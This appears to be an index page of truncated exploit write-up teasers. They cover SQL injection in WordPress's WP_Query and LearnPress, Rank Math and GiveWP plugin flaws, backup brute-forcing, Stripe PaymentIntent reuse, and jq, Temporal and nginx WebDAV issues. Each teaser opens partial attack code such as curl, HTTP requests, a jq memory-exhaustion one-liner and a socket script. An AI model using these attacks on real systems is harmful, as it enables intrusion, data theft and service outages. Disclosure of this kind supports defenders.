## The Exploit An unauthenticated attacker can perform SQL injection via the `author__not_in` parameter in any REST API endpoint that passes user input to `WP_Query`. The following curl request demonstrates the injection against the default `/wp/v2/posts` endpoint. ```bash curl...
## The Exploit An unauthenticated attacker can inject SQL into the LearnPress courses REST API by crafting a malicious `c_only_fields` parameter that breaks out of a comma-separated list context and appends arbitrary SQL. ```bash curl -X ...
Read article →## The Exploit An unauthenticated attacker can modify homepage SEO settings (title, meta description, breadcrumbs label, social metadata) by sending a REST request to the Rank Math plugin's `update_site_editor_homepage` endpoint with `obje...
Read article →## The Exploit An unauthenticated attacker with network access to the WordPress site can enumerate and download complete database backups by brute-forcing the six-character snapshot identifier. ```bash #!/bin/bash TARGET="https://vulnerab...
Read article →## The Exploit An unauthenticated attacker with a single intercepted Stripe PaymentIntent ID can reuse it across unlimited form submissions, triggering confirmations for non-existent transactions. ```http POST /index.php HTTP/1.1 Host: ta...
Read article →## The Exploit An unauthenticated attacker can inject a malicious serialized PHP object via the `give_title` POST parameter to trigger arbitrary code execution through a POP chain. ```http POST /wp-admin/admin-ajax.php?action=give_process...
Read article →## The Exploit Attacker needs only the ability to supply a jq expression to a vulnerable process that evaluates untrusted jq queries. ```bash jq -n '("a"*1073741824) + ("b"*1073741825) | length' ``` This command builds two strings whose ...
Read article →## The Exploit Attacker requires a writer role in an attacker-controlled namespace and access to Temporal's batch operation API on a cluster where internal frontend authorization permits cross-namespace actions. ```bash grpcurl -plaintext...
Read article →## The Exploit Unauthenticated remote attacker can force nginx to accept an unbounded number of request headers and exhaust memory. ```bash python3 - <<'PY' import socket host = "TARGET" port = 80 s = socket.create_connection((host, por...
Read article →## The Exploit Requires only network access to a DAV-enabled aliased prefix location; no privileged credentials are needed if the `MOVE`/`COPY` endpoint is exposed. ```bash curl -i -s -X MOVE 'http://TARGET/webdav/secret.txt' \ -H 'Host...
Read article →